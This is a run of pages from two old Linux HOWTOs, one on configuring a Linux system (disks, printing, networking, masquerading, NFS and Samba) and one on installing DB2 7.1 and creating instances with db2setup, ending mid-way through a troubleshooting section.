#~ dd if=/boot/vmlinuz-2.0.36-0.7 of=/dev/fd0  # use your kernel image
#~ rdev /dev/fd0 /dev/hda2                     # your Linux root partition

Also, have at least a couple of rescue disks ready. There's a wide choice of rescue disks at ftp://metalab.unc.edu/pub/Linux/system/recovery ; if you don't know which one to choose, I suggest you try out Tomsbtrt, whose home page is http://www.toms.net/rb . It's very complete, but some utilities seem missing at first; for example, ftp is not there but you get nc (netcat) instead. Please read its documentation.

2.5. Console Colours

Why stick to white on black in Linux console? With the setterm command you can choose nicer combinations:

setterm -background blue -foreground red -bold on -store

Type setterm alone for a list of arguments.

2.6. Kernel Matters

IMHO, the first thing to do next is build a kernel that best suits your system. It's very simple to do but, in any case, refer to the README file in /usr/src/linux/ or the Kernel HOWTO. Hints:

  • consider carefully your needs. Choosing a kernel configuration, applying the patches, and compiling it once and for all is more productive than reconfiguring and recompiling each month; this is especially true if your Linux box is a server. Don't forget to include support for all the hardware you might likely add in the future (e.g. SCSI, Zip, network cards, etc); using modules is usually the best choice;

  • notebook users: if you plan to use a PCMCIA modem/fax, remember to compile serial support in the kernel. Don't compile it as a module, as this would need more complex configuration;

  • remember to compile everything you need; i.e., don't forget the pcmcia modules, or the ALSA sound drivers;

  • to save time the next time you reconfigure and recompile the kernel, it's a good idea to save your configuration on a file and keep it in a safe place. If you upgrade the kernel and use ``make oldconfig'', your old config file will be taken and any not included features will be prompted whether they should be included, resulting in a new, upgraded config file.

2.7. Hard Disk Performance

Your (E)IDE hard disk's performance can be greatly enhanced by carefully using hdparm(8). If your Linux distribution doesn't include it, you'll find on ftp://metalab.unc.edu/pub/Linux/system/hardware ; look for a file called hdparm-X.Y.tar.gz.

Since many details depend on your hard disk and HD controller, I can't give you a general recipe. You risk to toast your filesystem, so read the man page carefully before using some of the options. At its simplest, you could add the following line to /etc/rc.d/rc.sysinit:

/sbin/hdparm -c1 /dev/hda  # first IDE drive assumed

which enables (E)IDE 32-bit I/O support. As for the `-m' option, this is what hdparm author Mark Lord emailed me:

" (...) if your system uses components from the past couple of years [< 1997], it will be fine. Older than that, there *may* be a problem (unlikely). The really buggy chips were the CMD0646 and RZ1000 chips, used *extensively* on 486 and (early) 586 motherboards about 2-3 years ago. "

For recent machines, these settings should work fine:

/sbin/hdparm -c1 -A1 -m16 -d1 /dev/hda

2.8. Parallel Port Zip Drive

Stock kernels include the driver for both old (ppa) and new (imm) Zip drives. If you recompile the kernel, make sure that SCSI support and SCSI disk support are enabled. Remember, there can be conflicts between the printer and the Zip drive on the same parallel port, so you have better use kernel modules.

Zip disks are sold preformatted on partition /dev/sda4. To enable the Zip, append this to /etc/rc.d/rc.sysinit:

# Enable the Zip drive
/sbin/modprobe ppa  # imm for recent models

Zip disks can be mounted via /etc/fstab as shown below, or via Mtools adding this line to your /etc/mtools.conf:

drive z: file="/dev/sda4" exclusive

besides, the command mzip allows you to eject, query the status, write and password protect Zip disks; man mzip for details. The Mtools home page is at http://linux.wauug.org/pub/knaff/mtools.

2.9. Device Drivers

Devices in /dev (or better, links to the actual device drivers) may be missing. Check what devices your mouse, modem, and CD--ROM drive correspond to, then do what follows:

~# cd /dev
/dev# ln -s ttyS0 mouse; ln -s ttyS1 modem; ln -s hdb cdrom; ln -s sda4 zip

In most notebooks the mouse device is /dev/psaux: take this into account when configuring X11. If you wish, do chmod 666 to these devices to make them fully accessible by every user.

2.10. Sound Card

My desktop PC is fitted with an old Sound Blaster 16; even if you've got something different, you may take what follows as guidelines.

I compiled the sound card support as a module (sb.o). Then I put this in /etc/conf.modules:

options sb io=0x220 irq=5 dma=1 dma16=5 mpu_io=0x330
alias sound sb

To enable the sound, make sure that modprobe sound is invoked in /etc/rc.d/rc.sysinit. Alternatively, get the tool sndconfig from the RedHat site.

Besides the standard kernel sound drivers, the Alsa drivers ( http://www.alsa-project.org) are an excellent choice. Strangely, though, the sound channels are muted by default. You'll want to use aumix and this /etc/aumixrc to set the volume to 100%:

vol:100:100:P
synth:100:100:P
pcm:100:100:P
line:100:100:P
mic:100:100:R
cd:100:100:P

2.11. Login Messages

If you wish to customise the login messages, check whether your /etc/rc.d/rc.local overwrites /etc/issue and /etc/motd. (RedHat does.) If so, get on with your editor.

If you'd like a colourised login message, you may adapt your rc.local inserting lines like these:

# put a real escape character instead of ^[. To do this:
# emacs: ^Q ESC   vi: ^V ESC   joe:  ` 0 2 7   jed: ` ESC
ESC="^["  # a real escape character
BLUE="$ESC[44;37m"
NORMAL="$ESC[40;37m"
CLEAR="$ESC[H$ESC[J"

> /etc/issue
echo "$CLEAR" >> /etc/issue
echo "$BLUE   Welcome to MyServer (192.168.1.1)   " >> /etc/issue
echo "$NORMAL " >> /etc/issue
echo "" >> /etc/issue

2.12. Hostname

Issuing the command hostname new_host_name may not be enough. To avoid the dreaded sendmail lock, follow these steps (only valid for a stand--alone machine):

  • edit /etc/sysconfig/network and change the hostname therein (e.g. new_host_name.your_domain);

  • edit /etc/HOSTNAME appropriately;

  • append the new hostname in the line in /etc/hosts:
    127.0.0.1       localhost  new_host_name.your_domain

2.13. Mouse

gpm mouse services are useful to perform cut and paste in tty mode, and to use the mouse in some applications. Make sure that you have a file called /etc/sysconfig/mouse and that it reads:

MOUSETYPE="Microsoft"
XEMU3=yes

Moreover, you must have a file /etc/rc.d/init.d/gpm, where you'll put additional command line parameters. Mine reads:

...
       daemon gpm -t $MOUSETYPE -d 2 -a 5 -B 132 # two-button mouse
...

Obviously, make sure this configuration is right for your mouse type. In most notebooks, MOUSETYPE is ``PS/2''.

If you like to use menus in console with Ctrl-button, then configure gpm-root. Edit the default menu in /etc/gpm-root.conf, then launch gpm-root from /etc/rc.d/rc.local.

2.14. Mount Points

It's handy to have mount points for the floppy, other devices and NFS-exported directories. For example, you can do the following:

~# cd /mnt; mkdir floppy cdrom win zip server

This creates mount points for a DOS/Win floppy, the CD--ROM, the Windows partition, the parallel port Zip drive, and an NFS directory.

Now edit the file /etc/fstab and add the following entries:

/dev/fd0        /mnt/floppy     auto            user,noauto 0 1
/dev/cdrom      /mnt/cdrom      iso9660         ro,user,noauto 0 1
/dev/zip        /mnt/zip        vfat            user,noauto,exec 0 1
/dev/hda1       /mnt/win        vfat            user,noauto 0 1
server:/export  /mnt/server     nfs             defaults

Obviously, you must use the correct device in the first field.

Note the `auto' filesystem type in the first line; it allows you to mount both ext2 and vfat (DOS/Windows) floppies, but you need a recent version of mount. You may find mtools more convenient.

2.15. Automount Points

If you don't like the mounting/unmounting thing, consider using autofs(5). You tell the autofs daemon what to automount and where starting with a file, /etc/auto.master. Its structure is simple:

/misc	/etc/auto.misc
/mnt	/etc/auto.mnt

In this example you tell autofs to automount media in /misc and /mnt, while the mountpoints are specified in/etc/auto.misc and /etc/auto.mnt. An example of /etc/auto.misc:

# an NFS export
server	 	-ro			my.buddy.net:/pub/export
# removable media
cdrom       	-fstype=iso9660,ro	:/dev/hdb
floppy		-fstype=auto		:/dev/fd0

Start the automounter. From now on, whenever you try to access the inexistent mount point /misc/cdrom, il will be created and the CD-ROM will be mounted.

2.16. lilo(8) and LOADLIN.EXE

Many users run both Linux and DOS/Windows on their PC, and want to choose at boot time which os to use; this should be done at install time, but in case, do what follows. Let's suppose that /dev/hda1 contains DOS/Windows and that /dev/hda2 contains Linux.

~# fdisk
Using /dev/hda as default device!

Command (m for help):a
Partition number (1-4): 2

Command (m for help):w
~#

This makes the Linux partition bootable. Then write this basic /etc/lilo.conf file:

boot = /dev/hda2
compact                # may conflict with "linear"
delay = 100            # 10 seconds
linear                 # gets rid of the "1024 cylinder" problem
#lba32                 # alternative
message = /boot/bootmesg.txt  # write your own, if you will
root = current
image = /boot/vmlinuz  # boot linux by default as this entry comes first
  label = linux
  read-only
#  append="mem=128M"   # to see more memory than 64M
other = /dev/hda1
  table = /dev/hda
  label = win

Now issue /sbin/lilo and you're done. Being lilo a crucial part of your installation, you're strongly advised to read its documentation anyway.

To boot Linux from DOS/Windows without resetting, put LOADLIN.EXE in a directory (in the DOS partition!) included in the DOS path; then copy your kernel to, say, C:\TEMP\VMLINUZ. The following simple .BAT file will boot Linux:

rem   linux.bat
smartdrv /C
loadlin c:\temp\vmlinuz root=/dev/hda2 ro

If you use Windows 9x, set the properties of this .BAT so as it starts in MS--DOS mode.

2.16.1. Security Tip

Making a backup copy of your MBR before installing Linux is a safe move. Prepare a Windows rescue floppy, and make sure it includes FDISK.EXE. To restore the MBR, all you have to do is

A:\> fdisk /mbr

2.17. Printer Configuration (lpd)

All distributions I know have a configuration tool for setting up the printer (printtool, yast, or magicfilter); if you don't have it, this is a basic manual configuration.

Let's suppose you have a non--PostScript (non ``Windows-only'' too!) printer you want to use to print raw text (e.g., C source files) and PostScript files via Ghostscript, which is assumed to be already installed.

Setting up the printer involves a few steps:

  • find out which one the parallel print device is: try
    ~# echo "hello, world" > /dev/lp0
~# echo "hello, world" > /dev/lp1
    and take note which one works.

  • make two spool directories:
    ~# cd /var/spool/lpd
/var/spool/lpd/# mkdir raw; mkdir postscript

  • if your printer exibits the ``staircase effect'' (most inkjets do), you'll need a filter. Try to print two lines with
    ~# echo "first line" > /dev/lp1 ; echo "second line" > /dev/lp1
    if the output is like this:
    first line
          second line
    then save this script as /var/spool/lpd/raw/filter:
    #!/bin/sh
# This filter eliminates the "staircase effect"
awk '{print $0, "\r"}'
    and make it executable with chmod 755 /var/spool/lpd/raw/filter.

  • make a filter for PostScript emulation. Write the following filter as /var/spool/lpd/postscript/filter:
    #!/bin/sh

DEVICE=djet500
RESOLUTION=300x300
PAPERSIZE=a4
SENDEOF=

nenscript -TUS -ZB -p- |
if [ "$DEVICE" = "PostScript" ]; then
  cat -
else
  gs -q -sDEVICE=$DEVICE \
    -r$RESOLUTION \
    -sPAPERSIZE=$PAPERSIZE \
    -dNOPAUSE \
    -dSAFER \
    -sOutputFile=- -
fi

if [ "$SENDEOF" != "" ]; then
  printf "\004"
fi
    (in this example an HP DeskJet printer is assumed. Adapt it to your printer).

  • finally, add the following entries in /etc/printcap:
    # /etc/printcap
lp|ps|PS|PostScript|djps:\
        :sd=/var/spool/lpd/postscript:\
        :mx#0:\
        :lp=/dev/lp1:\
        :if=/var/spool/lpd/postscript/filter:\
        :sh:
raw:\
        :sd=/var/spool/lpd/raw:\
        :mx#0:\
        :lp=/dev/lp1:\
        :if=/var/spool/lpd/raw/filter:\
        :sh:

For more complex or exotic printing configurations, the Printing-HOWTO awaits you.

If you use printtool, be aware that the GSDEVICE chosen by Printtool will work, but not necessarily at its best for your printer. You may consider fiddling a bit with the file postscript.cfg; for instance, I changed GSDEVICE from cdj500 to djet500 and now my prints come out much quicker.

2.18. SVGATextMode

This utility, available on ftp://tsx-11.mit.edu/pub/linux/sources/sbin, is useful for changing the console screen resolution, font, and cursor shape. Users whose language include accented characters will be able to use them in console applications, while notebook users may change the cursor shape to make it more visible.

Edit /etc/TextConfig or /etc/TextMode, starting with the default VGA definition. Europeans should be happy with this ``LoadFont'' section:

Option "LoadFont"
FontProg "/usr/bin/setfont"
FontPath "/usr/lib/kbd/consolefonts"
FontSelect "lat1u-16.psf"   8x16 9x16 8x15 9x15
FontSelect "lat1u-14.psf"   8x14 9x14 8x13 9x13
FontSelect "lat1u-12.psf"   8x12 9x12 8x11 9x11
FontSelect "lat1u-08.psf"   8x8  9x8  8x7  9x7

Once you're done, try your configuration with a command like SVGATextMode "80x34x9", and if everything appears to be working fine, remove the warnings from /etc/TextMode and include this line in etc/rc.d/rc.sysinit:

# SVGATextMode
/usr/sbin/SVGATextMode "80x34x9"

Please note that the block cursor only works with some modes; on my notebook, "80x30x9".

Prev | Home | Next
Introduction |  | Common Administration Tasks


Common Administration Tasks

Configuration HOWTO
Prev Next

3. Common Administration Tasks

Here is where the fun begins. This section is rather network-centric, though many other tasks await you.

Networking is a vast subject which cannot be fully covered here. The reference is the NET-3 HOWTO, and most distributions provide documentation on setting up network services. Only a few points will be recalled here.

A quick to-do list for the services you may want to install: cron and timed tasks like calendar or reminder, Http, Samba, telnet/ssh access, anonymous ftp, POP/IMAP server, NFS...

3.1. Network Configuration

If your network card wasn't recognised at install time, don't worry: in most cases it's either NE2000 or 3c59x compatible. Issue the command modprobe ne or modprobe 3c59x and see if the relevant module is loaded, then add this line in /etc/conf.modules:

alias eth0 ne  # or 3c59x

Now you're ready to use netcfg or similar tool to set up the network configuration. The relevant files are /etc/HOSTNAME, etc/hosts, /etc/resolv.conf, /etc/sysconfig/network, and /etc/sysconfig/network-scripts/ifcfg-eth0; services should be started with scripts in /etc/rc.d/init.d.

This is a sample etc/hosts:

127.0.0.1               localhost
192.168.1.1             paleo.eocene.net        paleo
192.168.1.2             nautilus.eocene.net     nautilus

This is /etc/resolv.conf:

search df.unibo.it,eocene.net
nameserver 195.210.91.100

This is /etc/sysconfig/network (Red Hat-dependent):

NETWORKING=false
FORWARD_IPV4=true
HOSTNAME=nautilus.eocene.net
DOMAINNAME=eocene.net

And finally, /etc/sysconfig/network-scripts/ifcfg-eth0. This one, too, is Red Hat-dependent; it must be executable.

DEVICE=eth0
IPADDR=192.168.1.2
NETMASK=255.255.255.0
NETWORK=192.168.1.0
BROADCAST=192.168.1.255
ONBOOT=no

Although the actual method of starting network services of your distribution may be much more complex, the following script should be enough to get you started:

#!/bin/sh

# net-up.sh: set up network access

DEVICE=eth0
IPADDR=192.168.1.100
NETMASK=255.255.255.0
NETWORK=192.168.1.0
GATEWAY=192.168.1.1

ifconfig $DEVICE $IPADDR netmask $NETMASK up
route add -net $NETWORK netmask $NETMASK $DEVICE
route add default gw $GATEWAY
If you'd like to do networking experiments with the loopback interface, all you have to do is:
ifconfig lo 127.0.0.1
route add -host 127.0.0.1 lo

This script is handy for enabling network access when you use a rescue disk. Obviously, this lets you only ping, ftp and telnet to the outside; it won't start any daemon.

3.2. Network for Notebooks

When you plug the network PC card in, the script /etc/pcmcia/network will be run. All it needs is a properly set up /etc/sysconfig/network-scripts/ifcfg-eth0.

Setting up the network can become a bit trickier, though. In fact, you must provide the right settings for each network you connect to, as well as settings for the notebook when it's not connected.

I rolled up a rough but functional solution. I use my notebook as a stand-alone machine, connecting to the net via PPP; at home, IP address 192.168.1.2; and at university, IP 137.204.x.y. So, I created a set of configuration files for each network; all these are kept in /etc/mobnet. A script is then used to select the working environment. For instance, this is /etc/mobnet/home.cfg:

# /etc/mobnet/home.conf

HOSTNAME=nautilus.eocene.net	# complete hostname
DOMAINNAME=eocene.net		# your domain
IPADDR=192.168.1.2
NETMASK=255.255.255.0
NETWORK=192.168.1.0
BROADCAST=192.168.1.255
GATEWAY=192.168.1.1
FORWARD_IPV4=true
NAMESERVER=195.210.91.100	# required
SEARCH=df.unibo.it,eocene.net	# optional
SERVICES="inet httpd smb sshd"

This is mnet, the script I use to choose the network profile:

#!/bin/sh
# mnet: script to set up the "mobile network" configuration.
# Last modified: 15 July 2000

# start or stop services
activate_services()
{
  for service in $(echo $SERVICES) ; do
    [ -x /etc/rc.d/init.d/$service ] && /etc/rc.d/init.d/$service $1
  done
}

# usage
if [ $# = 0 ] ; then
  echo "Usage: mnet <config name>"
  echo "Example: mnet office"
  exit 1
fi

# check if the configuration exists
if [ ! -e /etc/mobnet/$1.conf ]; then
  echo "This configuration doesn't exist."
  exit 1
fi

# read the configuration
. /etc/mobnet/$1.conf

# set up the host name
echo $HOSTNAME > /etc/HOSTNAME
/bin/hostname $HOSTNAME

# set up the name server(s)
cat <<EOF > /etc/resolv.conf
# /etc/resolv.conf
search $SEARCH
nameserver $NAMESERVER
EOF

# stop previous services, if any
if [ -f /etc/mobnet/services.prev ]; then
  NEWSERVICES=$SERVICES
  . /etc/mobnet/services.prev
  activate_services stop
  SERVICES=$NEWSERVICES
fi

if [ $1 != "none" ]; then
# set up the network parameters
  cat <<EOF > /etc/sysconfig/network
  NETWORKING=yes
  FORWARD_IPV4=true
  HOSTNAME=$HOSTNAME
  DOMAINNAME=$DOMAINNAME
  GATEWAY=$GATEWAY
  GATEWAYDEV=eth0
EOF

  cat <<EOF > /etc/sysconfig/network-scripts/ifcfg-eth0
  DEVICE=eth0
  IPADDR=$IPADDR
  NETMASK=$NETMASK
  NETWORK=$NETWORK
  BROADCAST=$BROADCAST
  ONBOOT=no
EOF
  /bin/chmod +x /etc/sysconfig/network-scripts/ifcfg-eth0

  # copy the other config files
  /bin/cp -f /etc/mobnet/hosts.$1	/etc/hosts
  /bin/cp -f /etc/mobnet/smb.conf.$1	/etc/smb.conf

  echo -n "Insert the network PC card and press <enter> when done: "
  read

  # OK, now start services
  activate_services start
  echo "SERVICES=\"$SERVICES\"" > /etc/mobnet/services.prev

else # it's not "none"

  cat <<EOF > /etc/sysconfig/network
  NETWORKING=false
  FORWARD_IPV4=false
  HOSTNAME=$HOSTNAME
  DOMAINNAME=$DOMAINNAME
EOF
  /bin/rm -f /etc/sysconfig/network-scripts/ifcfg-eth0*
  /sbin/ifconfig eth0 down
  echo "SERVICES=$SERVICES" > /etc/mobnet/services.prev
  echo "Now you may remove the PC card."
  exit 0

fi

# end of mnet.

As I said, it is rough and even not complete: other files may depend on the network, like /etc/fstab, /etc/exports, and /etc/printcap. Think about network printers and NFS shares. Feel free to adapt this bare-bone solution to your needs.

3.3. Sharing the Internet

One of the most useful tasks for a Linux server. Currently, most stock kernels come with IP firewalling, masquerading and forwarding enabled by default; if in doubt, consult the IP-Masquerade mini-HOWTO to learn how to enable them. Then install ipfwadm (kernels 2.0.x; http://www.xos.nl/linux/ipfwadm/) or ipchains (kernels 2.2.x; http://www.adelaide.net.au/~rustcorp/ipfwchains/ipfwchains.html ). Remember to enable kernel modules for the services you need, e.g. for ftp you'll add this line to /etc/rc.d/rc.sysconfig:

/sbin/modprobe ip_masq_ftp

Other modules are usually found in /lib/modules/KERNEL-VERSION/ipv4.

Enabling IP masquerading for other machines in your local network is very simple. First, check the network initialisation scripts (/etc/sysconfig/network should be the right place) to see if they contain a line that reads FORWARD_IPV4=true. It's used to set /proc/sys/net/ipv4/ip_forward to 1 when the network subsystem comes up.

Add these lines to /etc/rc.d/rc.sysinit:

# default: packets cannot reach the outside
/sbin/ipfwadm -F -p deny
# allow all machines on the local network to reach the Internet
/sbin/ipfwadm -F -a m -S 192.168.1.0/24 -D 0.0.0.0/0
# alternatively, allow only these two machines
# /sbin/ipfwadm -F -a m -S 192.168.1.100/24 -D 0.0.0.0/0
# /sbin/ipfwadm -F -a m -S 192.168.1.101/24 -D 0.0.0.0/0

If you use a kernel of the 2.2.x series, use ipfwadm-wrapper instead of ipfwadm to get started quickly. More information at http://ipmasq.cjb.net.

Now you'll want something to let client machines dial the ISP; I use Mserver ( http://cpwright.villagenet.com/mserver/). Edit etc/mserver.conf; the only entries that you should modify are ``checkhost'', ``shadow'', and ``cname''. Then define your connection(s). Obviously, install a suitable client on the client machines.

3.4. Restricting Network Access

Let's suppose you connect to the Internet via PPP. Once you're connected, your machine may become vulnerable to attacks. Insert this in /etc/hosts.allow:

# only allow access to localhost
ALL: 127.

and this in /etc/hosts.deny:

# deny access to everyone
ALL: ALL

If you belong to a network with direct Internet access, you had better disable finger, telnet, and possibly other services for security reasons; use ssh instead of telnet. The file to edit is /etc/inet.conf. Alternatively, you can restrict network access putting this in /etc/hosts.allow:

in.telnetd: 192.168.1., .another.trusted.network
in.ftpd: 192.168.1., .another.trusted.network

and this in /etc/hosts.deny:

in.telnetd: ALL
in.ftpd: ALL

3.5. NFS Exports

It is common to export home directories on the server; a problem arises if a user's UID and GID are not consistent across different machines. If user `guido' has UID/GID = 500 on server and UID/GID = 512 on client, a convenient configuration is this:

# /etc/exports
/tmp            my.client.machine(rw)
/home/guido     my.client.machine(rw,all_squash,anonuid=512,anongid=512)

3.6. Samba

Almost trivial, but there's always a little bit to do. If you want to connect Windows 98/NT clients, did you remember to read the docs and, in case, enable clear text passwords? The distribution includes .reg files for Win9x/NT/2000; if your clients can't connect to the Linux server, load them on every client.

Samba comes with a fairly complete sample /etc/smb.conf, but strangely it lacks a section showing how to (un)mount removable media. The clauses preexec and postexec do the trick:

[cdrom]
  comment = CD-ROM
  path = /mnt/cdrom
  public = yes
  read only = yes
; you might need to use "root preexec/postexec"
  preexec = mount /mnt/cdrom
  postexec = umount /mnt/cdrom

Also: you know what Swat is, don't you? Enable it adding this line in your /etc/inetd.conf:

swat      stream  tcp     nowait.400      root /usr/sbin/swat swat

and this in /etc/services:

swat            901/tcp

Restart inetd with SIGHUP, and point your browser to http://localhost:901.

Prev | Home | Next
General System Setup |  | Software Configuration


Installing DB2 using db2setup

DB2 Version 7.1 for Linux HOWTO
Prev Next

4. Installing DB2 using db2setup

The purpose of this section is to walk you through a typical install of DB2 Version 7.1 on Linux. The following section, Section 6, tells you how to create both a DB2 Administration Server and a DB2 instance. For in-depth information on the components offered by DB2 Version 7.1, consult the following documents:

  • DB2 for UNIX Quick Beginnings

  • DB2 Personal Edition for Linux Quick Beginnings

  • DB2 Connect Personal Edition for Linux Quick Beginnings

For the purposes of this document, I'll assume that you have a copy of DB2 Version 7.1 on CD-ROM. If you download a copy from IBM, just adjust the path /mnt/cdrom in the following instructions to reflect the directory created by the tar command.

Tip: Some distributions disable execute privileges on CD-ROM devices by default. To mount a CD-ROM with execute permissions at mount point /mnt/cdrom, issue the following command as root:

bash# mount -o exec /mnt/cdrom

4.1. Using the db2setup utility

You'll find the following executables on the root directory of the DB2 Version 7.1 installation CD-ROM:

  • db2setup: Use the db2setup command to install DB2 Version 7.1, to create or modify DB2 instances, and to create a DB2 Administration Server. Once you install DB2, db2setup is copied to the /usr/IBMdb2/V7.1/install directory to enable you to create or modify instances without the CD-ROM.

  • db2_install: The db2_install command provides an alternate means of installing DB2 RPMs. Unlike db2setup, it does not enable you to create a DB2 instance or Administration Server, or install a license key. I highly recommend db2setup.

  • db2_deinstall: Use the db2_deinstall command to uninstall the DB2 Version 7.1 packages on your system. For more information, see Section 7.

Note: The db2setup command provides a terminal-based text menu for your installation and instance creation options. Unfortunately, db2setup on Linux sometimes encounters a few formatting bugs in terminal emulators. Running db2setup from the TTY console works well. Within an X session, the rxvt or xterm terminals work quite well, but gnome-terminal is rather frustrating to use. If the text menu formats incorrectly, press CTRL-L to refresh the menu.

4.2. Installing DB2 components

The following instructions assume that you are using db2setup to install DB2.

To select or deselect a component, highlight the component using the cursor keys and press ENTER.

To change the options for a component, highlight [ Customize... ] and press ENTER.

To install your selected components, highlight [ OK ] on the Install DB2 V7 menu and press ENTER.

The common DB2 files are installed in the /usr/IBMdb2/V7.1/ directory. When you create an instance, a directory called sqllib is created in the corresponding user's home directory. The sqllib directory contains symbolic links to the executables and other files in /usr/IBMdb2/V7.1/.

The following list describes some of the common DB2 components that you can install, including estimates of the size required for each component.

Description of DB2 components

Administration Client

The Administration Client enables database administrators to administer local or remote DB2 servers from the command line. This component, without Java support or the Control Center, requires about 20 MB of disk space.

Control Center

The Control Center (db2cc) is an optional part of many DB2 components. It gives database administrators a graphical interface for administering local or remote DB2 servers. The Control Center includes the DB2 Information Center (db2ic), which gives you a graphical interface that provides a tree view of the DB2 documentation installed on your workstation organized by task or by title.

Note that both the Control Center and Information Center are Java applications, so their performance depends on your system's processor speed and available memory. This component requires about 90 MB of disk space.

Tip: You probably want to install the Control Center.

DB2 UDB Enterprise Edition, DB2 UDB Workgroup Edition, DB2 Personal Edition

These components determine the state of your DB2 installation as a database server. The core capabilities of the components are the same. The difference between Enterprise Edition and Workgroup Edition primarily has to do with how they are licensed--Enterprise Edition is licensed on a per-processor basis with unlimited users, while Workgroup Edition is licensed on a per-user basis. Enterprise Edition also gives you the capability to enable DB2 clients to connect to mainframe databases, like DB2 for OS/390 or DB2 for OS/400. In contrast, Personal Edition is a single user database server that is useful only for developing DB2 applications. You cannot use Personal Edition as a server because Personal Edition does not accept incoming remote connections.

Adding one of these components requires about 40 MB of disk space.

Options for DB2 servers

Replication

This option enables your DB2 server to replicate data to other DB2 servers, and, with additional software, across non-DB2 servers as well. This option requires about 5 MB of disk space.

Distributed Join for DB2 Data Sources

This option enables your DB2 server to participate in a join with data from other database servers. This option requires about 2 MB of disk space.

Application Development Client

The Application Development Client component installs the headers and libraries that you need to create applications using embedded SQL for C and C++, Call Level Interface (CLI), Java Database Connectivity (JDBC), or embedded SQL for Java (SQLJ). You also have the option of installing the source code for sample applications that demonstrate much of the functionality of DB2.

Tip: If you plan on developing applications for DB2, install the sample applications. The sample directories in /usr/IBMdb2/V7.1/samples/ contain build scripts (bld***) that include the compile and link options suitable for your own applications.

Tip: If you are trying to develop applications and you get an error like "That command is not supported in this environment" while trying to precompile a file, it's because you either did not install the Application Development Client, or you installed it after you created an instance and you have not used the db2iupdt command to update the instance. See Section 9.1 for more information on db2iupdt.

Including the sample applications, this component requires about 10 MB of disk space.

DB2 Product Library (HTML documentation)

Documentation is installed into the /usr/IBMdb2/V7.1/doc/ directory. For each language that you install, the DB2 installer creates a subdirectory with a five-character name corresponding to the language locale. Issue the db2help command to fire up your Web browser with a page that links to the documentation installed with DB2.

The English HTML (En_US) documentation requires about 90 MB of disk space.

Prev | Home | Next
Preparing your distribution for DB2 |  | Installing DB2 on other Linux distributions


Creating DB2 instances

DB2 Version 7.1 for Linux HOWTO
Prev Next

6. Creating DB2 instances

This section gives you a brief overview of DB2 instances and the DB2 Administration Server, and tells you how to create them.

Some IBM documentation uses the term "instance" to refer to both DB2 instances and a DB2 Administration Server. The basic similarity between a DB2 Administration Server and a DB2 instance, or "database manager", is that each is associated with a unique user ID. When you create either a DB2 instance or a DB2 Administration Server, DB2:

  • creates one or more new user IDs and corresponding home directories

  • creates a subdirectory in the instance home directory called sqllib

  • alters the .bashrc file to call the ~/sqllib/db2profile shell script to set up the environment for the instance

6.1. Overview of DB2 Administration Server

Like a queen bee in a hive, only one DB2 Administration Server can exist on any given DB2 server. By locally or remotely logging as the user ID that corresponds to the DB2 Administration Server, a database administrator uses the DB2 Administration Server to create, drop, or change the properties of DB2 instances.

6.2. Overview of DB2 instance

To quote the IBM DB2 Universal Database Version 7.1 Administration Guide definition of an instance:

An instance (sometimes called a database manager) is DB2 code that manages data. It controls what can be done to the data, and manages system resources assigned to it. Each instance is a complete environment. ... An instance has its own databases (which other instances cannot access), and all its database partitions share the same system directories. It also has separate security from other instances on the same machine (system).

What this boils down to is that for every DB2 instance, DB2 requires a unique user ID on your Linux workstation. Security for an instance is provided by the normal password authentication process for any Linux user ID. Each instance can contain one or more databases, each of which inherits settings from their instance.

Creating the Administration Server using db2setup

The DB2 Administration Server requires about 3 MB of disk space. The following steps guide you through the process of creating a DB2 Administration Server.

  1. Issue the db2setup command as described in Section 4.2.

  2. Select [ Create... ].

  3. Select the check box for Create the Administration Server. The Administration Server window is displayed.

  4. Enter a unique user name in the User Name field. You can use an existing user name that is not already in use by a DB2 instance, but it is probably simpler to create a new user for each instance.

  5. Select the Use default UID check box. As far as I can tell, this setting is always right.

  6. Enter a unique group name in the Group Name field. You can use an existing group name if you wish, but creating a new group ensures that you do not inadvertently give permissions to other users on your system.

  7. Select the Use default GID check box. Again, as far as I can tell, this setting is always right.

  8. Ensure that the value of the Home Directory field reflects the home directory of the user ID.

    Warning

    SuSE users: The prefix for the home directory may default to /usr/lib/db2/. This is almost certainly wrong; the value for a standard SuSE system should be /home/.

  9. Enter a unique password in the Password and Verify Password fields.

    Warning

    Enter a new password! If you do not enter a new password in these fields, DB2 assigns the default password ibmdb2, giving crackers a wide-open front door to your system.

Creating a DB2 instance using db2setup

A DB2 instance requires about 2 MB of disk space. A sample database for a DB2 instance requires about 16 MB of disk space. The following steps guide you through the process of creating a DB2 instance.

  1. Issue the db2setup command as described in Section 4.2.

  2. Select [ Create... ].

  3. Select the Create a DB2 Instance check box. The DB2 Instance window is displayed.

  4. Enter a unique user name in the User Name field. You can use an existing user name that is not already in use by a DB2 instance, but it is probably simpler to create a new user for each instance.

  5. Select the Use default UID check box. As far as I can tell, this setting is always right.

  6. Enter a unique group name in the Group Name field. You can use an existing group name if you wish, but creating a new group ensures that you do not inadvertently give permissions to other users on your system.

  7. Select the Use default GID check box. Again, as far as I can tell, this setting is always right.

  8. Ensure that the value of the Home Directory field reflects the home directory of the user ID.

    Warning

    SuSE users: The prefix for the home directory may default to /usr/lib/db2/. This is almost certainly wrong; the value for a standard SuSE system should be /home/.

  9. Enter a unique password in the Password and Verify Password fields.

    Warning

    Enter a new password! If you do not enter a new password in these fields, DB2 assigns the default password ibmdb2, giving crackers a wide-open front door to your system.

  10. Select [ Properties... ] to change the properties for the instance.

    1. Under the Authentication Type heading, select the Server Encrypt check box. This greatly improves the security of your system, by telling DB2 to accept encrypted passwords, rather than plain text passwords.

    2. Select the Auto start DB2 Instance at system boot check box if you want to start this DB2 instance every time you reboot your system.

    3. Select the Create a sample database for DB2 Instance check box if you plan to work with the sample applications available with the Application Development Client. To run correctly, most of the sample applications require the specific tables and data of the sample database. If you do not create the sample database now, you can create it later using the db2sampl command.

  11. Select [ OK ] to create the DB2 instance. The Fenced User text window is displayed. Repeat the previous steps for creating a new user and group. Server-side DB2 executables, such as stored procedures and user-defined functions, execute under the permissions of the fenced user ID. By controlling the permissions of the fenced user ID, you control the permissions of the server-side DB2 executables.

  12. Select [ OK ] to create the fenced user.

Prev | Home | Next
Installing DB2 on other Linux distributions |  | Removing DB2


Troubleshooting

DB2 Version 7.1 for Linux HOWTO
Prev Next

9. Troubleshooting

The following section covers some of the common problems you may encounter while installing DB2, creating an instance, or using a DB2 database.

9.1. Problems with DB2 installation

The following section covers some of the common problems you may encounter when you install DB2.

9.1.1. When I try to run db2setup, I get the following error: DBI1503E An error was encountered when opening or writing to file, "/tmp/.dbinst.swp".
